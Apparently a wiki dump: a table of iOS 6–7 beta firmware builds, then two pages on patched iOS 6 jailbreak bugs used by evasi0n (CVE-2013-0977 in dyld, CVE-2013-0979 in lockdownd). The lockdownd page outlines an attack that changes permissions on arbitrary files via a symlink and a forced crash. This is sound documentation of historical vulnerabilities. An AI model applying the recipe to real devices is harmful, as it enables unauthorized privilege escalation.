| [[BrightonMaps 10B318a (iPad 2 Wi-Fi Rev A)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 3 Wi-Fi)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 3 CDMA)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 3 Global)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 4 Wi-Fi)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 4 GSM)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad 4 Global)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad mini 1G Wi-Fi)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad mini 1G GSM)|6.1.3b2]]
| [[BrightonMaps 10B318a (iPad mini 1G Global)|6.1.3b2]]
| colspan="9" {{n/a}}
|}

==== 7.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! colspan="3" | [[Apple TV]]
! colspan="12" | [[iPad]]
! colspan="5" | [[iPad mini]]
! colspan="10" | [[iPhone]]
! colspan="1" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! colspan="2" | [[Apple TV 3G|3G]]
! colspan="4" | [[iPad 2|2]]
! colspan="3" | [[iPad 3|3]]
! colspan="3" | [[iPad 4|4]]
! colspan="2" | [[iPad Air|Air]]
! colspan="3" | [[iPad mini 1G|1G]]
! colspan="2" | [[iPad mini 2G|2G]]
! colspan="3" | [[iPhone 4|4]]
! rowspan="2" | [[n94ap|4S]]
! colspan="2" | [[iPhone 5|5]]
! colspan="2" | [[iPhone 5|5c]]
! colspan="2" | [[iPhone 5|5s]]
! rowspan="2" | [[iPod touch 5G|5G]]
|-
! [[j33ap|Orig]]
! [[j33iap|Rev A]]
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[k93aap|Wi‑Fi (A)]]
! [[j1ap|Wi‑Fi]]
! [[j2ap|CDMA]]
! [[j2aap|Global]]
! [[p101ap|Wi‑Fi]]
! [[p102ap|GSM]]
! [[p103ap|Global]]
! [[j71ap|Wi‑Fi]]
! [[j72ap|Cellular]]
! [[p105ap|Wi‑Fi]]
! [[p106ap|GSM]]
! [[p107ap|Global]]
! [[j85ap|Wi‑Fi]]
! [[j86ap|Cellular]]
! [[n90ap|GSM]]
! [[n90bap|GSM (A)]]
! [[n92ap|CDMA]]
! [[n41ap|GSM]]
! [[n42ap|Global]]
! [[n48ap|GSM]]
! [[n49ap|Global]]
! [[n51ap|GSM]]
! class="rborderplz" | [[n53ap|Global]]
|-
| 10 Jun 2013
! style="text-align:left;" | 11A4372q
| [[InnsbruckVailPrime 11A4372q (Apple TV 2G)|5.4b]]
| [[InnsbruckVailPrime 11A4372q (Apple TV 3G)|5.4b]]
| [[InnsbruckVailPrime 11A4372q (Apple TV 3G Rev A)|5.4b]]
| colspan="17" {{n/a}}
| [[InnsbruckVailPrime 11A4372q (iPhone 4 GSM)|7.0b]]
| [[InnsbruckVailPrime 11A4372q (iPhone 4 GSM Rev A)|7.0b]]
| [[InnsbruckVailPrime 11A4372q (iPhone 4 CDMA)|7.0b]]
| [[InnsbruckVailPrime 11A4372q (iPhone 4S)|7.0b]]
| [[InnsbruckVailPrime 11A4372q (iPhone 5 GSM)|7.0b]]
| [[InnsbruckVailPrime 11A4372q (iPhone 5 Global)|7.0b]]
| rowspan="7" colspan="4" {{n/a}}
| [[InnsbruckVailPrime 11A4372q (iPod touch 5G)|7.0b]]
|-
| 24 Jun 2013
! style="text-align:left;" | 11A4400f
| [[InnsbruckVailPrime 11A4400f (Apple TV 2G)|5.4b2]]
| [[InnsbruckVailPrime 11A4400f (Apple TV 3G)|5.4b2]]
| [[InnsbruckVailPrime 11A4400f (Apple TV 3G Rev A)|5.4b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 2 Wi-Fi)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 2 GSM)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 2 CDMA)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 2 Wi-Fi Rev A)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 3 Wi-Fi)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 3 CDMA)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 3 Global)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 4 Wi-Fi)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 4 GSM)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad 4 Global)|7.0b2]]
| rowspan="6" colspan="2" {{n/a}}
| [[InnsbruckVailPrime 11A4400f (iPad mini 1G Wi-Fi)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad mini 1G GSM)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPad mini 1G Global)|7.0b2]]
| rowspan="6" colspan="2" {{n/a}}
| [[InnsbruckVailPrime 11A4400f (iPhone 4 GSM)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPhone 4 GSM Rev A)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPhone 4 CDMA)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPhone 4S)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPhone 5 GSM)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPhone 5 Global)|7.0b2]]
| [[InnsbruckVailPrime 11A4400f (iPod touch 5G)|7.0b2]]
|-
| 8 Jul 2013
! style="text-align:left;" | 11A4414e
| colspan="3" {{n/a}}
| [[InnsbruckVailPrime 11A4414e (iPad 2 Wi-Fi)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 2 GSM)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 2 CDMA)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 2 Wi-Fi Rev A)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 3 Wi-Fi)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 3 CDMA)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 3 Global)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 4 Wi-Fi)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 4 GSM)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad 4 Global)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad mini 1G Wi-Fi)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad mini 1G GSM)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPad mini 1G Global)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPhone 4 GSM)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPhone 4 GSM Rev A)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPhone 4 CDMA)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPhone 4S)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPhone 5 GSM)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPhone 5 Global)|7.0b3]]
| [[InnsbruckVailPrime 11A4414e (iPod touch 5G)|7.0b3]]
|-
| 29 Jul 2013
! style="text-align:left;" | 11A4435d
| [[InnsbruckVailPrime 11A4435d (Apple TV 2G)|6.0b3]]
| [[InnsbruckVailPrime 11A4435d (Apple TV 3G)|6.0b3]]
| [[InnsbruckVailPrime 11A4435d (Apple TV 3G Rev A)|6.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 2 Wi-Fi)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 2 GSM)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 2 CDMA)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 2 Wi-Fi Rev A)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 3 Wi-Fi)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 3 CDMA)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 3 Global)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 4 Wi-Fi)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 4 GSM)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad 4 Global)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad mini 1G Wi-Fi)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad mini 1G GSM)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPad mini 1G Global)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPhone 4 GSM)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPhone 4 GSM Rev A)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPhone 4 CDMA)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPhone 4S)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPhone 5 GSM)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPhone 5 Global)|7.0b4]]
| [[InnsbruckVailPrime 11A4435d (iPod touch 5G)|7.0b4]]
|-
| 6 Aug 2013
! style="text-align:left;" | 11A4449a
| [[InnsbruckVailPrime 11A4449a (Apple TV 2G)|6.0b4]]
| [[InnsbruckVailPrime 11A4449a (Apple TV 3G)|6.0b4]]
| [[InnsbruckVailPrime 11A4449a (Apple TV 3G Rev A)|6.0b4]]
| [[InnsbruckVailPrime 11A4449a (iPad 2 Wi-Fi)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 2 GSM)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 2 CDMA)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 2 Wi-Fi Rev A)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 3 Wi-Fi)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 3 CDMA)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 3 Global)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 4 Wi-Fi)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 4 GSM)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad 4 Global)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad mini 1G Wi-Fi)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad mini 1G GSM)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPad mini 1G Global)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPhone 4 GSM)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPhone 4 GSM Rev A)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPhone 4 CDMA)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPhone 4S)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPhone 5 GSM)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPhone 5 Global)|7.0b5]]
| [[InnsbruckVailPrime 11A4449a (iPod touch 5G)|7.0b5]]
|-
| 15 Aug 2013
! style="text-align:left;" | 11A4449d
| rowspan="2" colspan="3" {{n/a}}
| [[InnsbruckVailPrime 11A4449d (iPad 2 Wi-Fi)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 2 GSM)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 2 CDMA)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 2 Wi-Fi Rev A)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 3 Wi-Fi)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 3 CDMA)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 3 Global)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 4 Wi-Fi)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 4 GSM)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad 4 Global)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad mini 1G Wi-Fi)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad mini 1G GSM)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPad mini 1G Global)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPhone 4 GSM)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPhone 4 GSM Rev A)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPhone 4 CDMA)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPhone 4S)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPhone 5 GSM)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPhone 5 Global)|7.0b6]]
| [[InnsbruckVailPrime 11A4449d (iPod touch 5G)|7.0b6]]
|-
| 10 Sep 2013
! style="text-align:left;" | 11A465
| [[Innsbruck 11A465 (iPad 2 Wi-Fi)|7.0GM]]
| [[Innsbruck 11A465 (iPad 2 GSM)|7.0GM]]
| [[Innsbruck 11A465 (iPad 2 CDMA)|7.0GM]]
| [[Innsbruck 11A465 (iPad 2 Wi-Fi Rev A)|7.0GM]]
| [[Innsbruck 11A465 (iPad 3 Wi-Fi)|7.0GM]]
| [[Innsbruck 11A465 (iPad 3 CDMA)|7.0GM]]
| [[Innsbruck 11A465 (iPad 3 Global)|7.0GM]]
| [[Innsbruck 11A465 (iPad 4 Wi-Fi)|7.0GM]]
| [[Innsbruck 11A465 (iPad 4 GSM)|7.0GM]]
| [[Innsbruck 11A465 (iPad 4 Global)|7.0GM]]
| [[Innsbruck 11A465 (iPad mini 1G Wi-Fi)|7.0GM]]
| [[Innsbruck 11A465 (iPad mini 1G GSM)|7.0GM]]
| [[Innsbruck 11A465 (iPad mini 1G Global)|7.0GM]]
| [[Innsbruck 11A465 (iPhone 4 GSM)|7.0GM]]
| [[Innsbruck 11A465 (iPhone 4 GSM Rev A)|7.0GM]]
| [[Innsbruck 11A465 (iPhone 4 CDMA)|7.0GM]]
| [[Innsbruck 11A465 (iPhone 4S)|7.0GM]]
| [[Innsbruck 11A465 (iPhone 5 GSM)|7.0GM]]
| [[Innsbruck 11A465 (iPhone 5 Global)|7.0GM]]
| [[Innsbruck 11A465 (iPod touch 5G)|7.0GM]]
|-
| 18 Nov 2013
! style="text-align:left;" |11D5099e
| [[SochiVail 11D5099e (Apple TV 2G)|6.1b]]
| [[SochiVail 11D5099e (Apple TV 3G)| 6.1b]]
| [[SochiVail 11D5099e (Apple TV 3G Rev A)| 6.1b]]
| [[SochiVail 11D5099e (iPad 2 Wi-Fi)|7.1b]]
| [[SochiVail 11D5099e (iPad 2 GSM)|7.1b]]
| [[SochiVail 11D5099e (iPad 2 CDMA)|7.1b]]
| [[SochiVail 11D5099e (iPad 2 Wi-Fi Rev A)|7.1b]]
| [[SochiVail 11D5099e (iPad 3 Wi-Fi)|7.1b]]
| [[SochiVail 11D5099e (iPad 3 CDMA)|7.1b]]
| [[SochiVail 11D5099e (iPad 3 Global)|7.1b]]
| [[SochiVail 11D5099e (iPad 4 Wi-Fi)|7.1b]]
| [[SochiVail 11D5099e (iPad 4 GSM)|7.1b]]
| [[SochiVail 11D5099e (iPad 4 Global)|7.1b]]
| [[SochiVail 11D5099e (iPad Air Wi-Fi)|7.1b]]
| [[SochiVail 11D5099e (iPad Air Cellular)|7.1b]]
| [[SochiVail 11D5099e (iPad mini 1G Wi-Fi)|7.1b]]
| [[SochiVail 11D5099e (iPad mini 1G GSM)|7.1b]]
| [[SochiVail 11D5099e (iPad mini 1G Global)|7.1b]]
| [[SochiVail 11D5099e (iPad mini 2G Wi-Fi)|7.1b]]
| [[SochiVail 11D5099e (iPad mini 2G Cellular)|7.1b]]
| [[SochiVail 11D5099e (iPhone 4 GSM)|7.1b]]
| [[SochiVail 11D5099e (iPhone 4 GSM Rev A)|7.1b]]
| [[SochiVail 11D5099e (iPhone 4 CDMA)|7.1b]]
| [[SochiVail 11D5099e (iPhone 4S)|7.1b]]
| [[SochiVail 11D5099e (iPhone 5 GSM)|7.1b]]
| [[SochiVail 11D5099e (iPhone 5 Global)|7.1b]]
| [[SochiVail 11D5099e (iPhone 5c GSM)|7.1b]]
| [[SochiVail 11D5099e (iPhone 5c Global)|7.1b]]
| [[SochiVail 11D5099e (iPhone 5s GSM)|7.1b]]
| [[SochiVail 11D5099e (iPhone 5s Global)|7.1b]]
| [[Innsbruck 11D5099e (iPod touch 5G)|7.1b]]
|-
| 14 Nov 2013
! style="text-align:left;" | 11D5115d
| [[SochiVail 11D5115d (Apple TV 2G)|6.1b2]]
| [[SochiVail 11D5115d (Apple TV 3G)| 6.1b2]]
| [[SochiVail 11D5115d (Apple TV 3G Rev A)| 6.1b2]]
| [[SochiVail 11D5115d (iPad 2 Wi-Fi)|7.1b2]]
| [[SochiVail 11D5115d (iPad 2 GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPad 2 CDMA)|7.1b2]]
| [[SochiVail 11D5115d (iPad 2 Wi-Fi Rev A)|7.1b2]]
| [[SochiVail 11D5115d (iPad 3 Wi-Fi)|7.1b2]]
| [[SochiVail 11D5115d (iPad 3 CDMA)|7.1b2]]
| [[SochiVail 11D5115d (iPad 3 Global)|7.1b2]]
| [[SochiVail 11D5115d (iPad 4 Wi-Fi)|7.1b2]]
| [[SochiVail 11D5115d (iPad 4 GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPad 4 Global)|7.1b2]]
| [[SochiVail 11D5115d (iPad Air Wi-Fi)|7.1b2]]
| [[SochiVail 11D5115d (iPad Air Cellular)|7.1b2]]
| [[SochiVail 11D5115d (iPad mini 1G Wi-Fi)|7.1b2]]
| [[SochiVail 11D5115d (iPad mini 1G GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPad mini 1G Global)|7.1b2]]
| [[SochiVail 11D5115d (iPad mini 2G Wi-Fi)|7.1b2]]
| [[SochiVail 11D5115d (iPad mini 2G Cellular)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 4 GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 4 GSM Rev A)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 4 CDMA)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 4S)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 5 GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 5 Global)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 5c GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 5c Global)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 5s GSM)|7.1b2]]
| [[SochiVail 11D5115d (iPhone 5s Global)|7.1b2]]
| [[Innsbruck 11D5115d (iPod touch 5G)|7.1b2]]
|}
[[Category:Decryption]]

Overlapping Segment Attack

2013-12-30T22:34:10Z

Http: new blog link

This is CVE-2013-0977.
This vulnerability was first mentioned by [[i0n1c]][https://twitter.com/i0n1c/status/306132590795051008][https://twitter.com/i0n1c/status/306165655877582848][https://twitter.com/i0n1c/status/306166203964071936]: "''So iOS 6.1.3 beta 2 also fixes the [[Overlapping Segment Attack]] against [[dyld]] used in [[evasi0n]].''" and "''The Accuvant Labs analysis is incomplete and does not mention this. They do not realize / mention that it is not possible to have a codeless [[dylib]] without exploiting [[dyld]].''"

So a deeper investigation is necessary here.

Apple's description in the iOS 6.1.3 security fixes:

<cite>
'''dyld''' 
Impact: A local user may be able to execute unsigned code 
Description: A state management issue existed in the handling of Mach-O executable files with overlapping segments. This issue was addressed by refusing to load an executable with overlapping segments.
</cite>

== See also ==
* [[AMFID code signing evasion]]

== References ==
* [http://blog.accuvant.com/bthomasaccuvant/evasi0n-jailbreaks-userland-component/ Accuvant Labs analysis of evasi0n]
* [http://support.apple.com/kb/HT5704 Apple's iOS 6.1.3 security fixes]
* [http://support.apple.com/kb/HT5702 Apple's iOS 5.2.1 (Apple TV) security fixes]
* [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0977 NIST Reference CVE-2013-0977]
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0977 Mitre Reference CVE-2013-0977]

[[Category:Exploits]]

Timezone Vulnerability

2013-12-30T22:33:33Z

Http: new link for blog

There is a flaw in [[lockdownd]]:
MOVW R0, #(aPrivateVarDbTi-0x4DB8A) ; "/private/var/db/timezone"
MOVW R1, #0x1FF ; mode_t -> 0777
MOVT.W R0, #4
ADD R0, PC ; char *
BLX _chmod

This means <code>chmod("/private/var/db/timezone",0777)</code> without any further checks and is executed on every launch. By setting a symbolic link on <code>/var/db/timezone</code> though [[MobileBackup]] and pointing the symlink to any other file and crashing [[lockdownd]] by sending it a malformed property list (see [[Malformed PairRequest]]) to make it relaunch causes it to perform the actual permission change on any file.

This vulnerability is '''CVE-2013-0979''' and Apple describes it in the iOS 6.1.3 security fixes like this:

<cite>
'''Lockdown''' 
Impact: A local user may be able to change permissions on arbitrary files 
Description: When restoring from backup, [[lockdownd]] changed permissions on certain files even if the path to the file included a symbolic link. This issue was addressed by not changing permissions on any file with a symlink in its path.
</cite>

Note:
At [[WWJC]] 2013 [[pimskeks]] mentioned that the description in Apple's security fix is wrong. It says "when restoring from backup", although this is totally unrelated to the backup, as the only thing that needs to be done is to restart [[lockdownd]]. In [[evasi0n]] this was done with a restore (to set a symbolic link to the file), but this vulnerability here is not related to the backup/restore.

__NOTOC__
== Usage ==
* [[evasi0n|evasi0n jailbreak]]

== Credits ==
* [[evad3rs]]

== See Also ==
* [[Symbolic Link Vulnerability]]
* [[Malformed PairRequest]]

== References ==
* [http://conference.hitb.org/hitbsecconf2013ams/materials/D2T1%20-%20Pod2g,%20Planetbeing,%20Musclenerd%20and%20Pimskeks%20aka%20Evad3rs%20-%20Swiping%20Through%20Modern%20Security%20Features.pdf Slides from HITB presentation in Amsterdam 2013]
* [http://blog.accuvant.com/bthomasaccuvant/evasi0n-jailbreaks-userland-component/ Accuvant Labs analysis of evasi0n]
* [http://support.apple.com/kb/HT5704 Apple's iOS 6.1.3 security fixes]
* [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0979 NIST Reference CVE-2013-0979]
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0979 Mitre Reference CVE-2013-0979]

[[Category:Exploits]]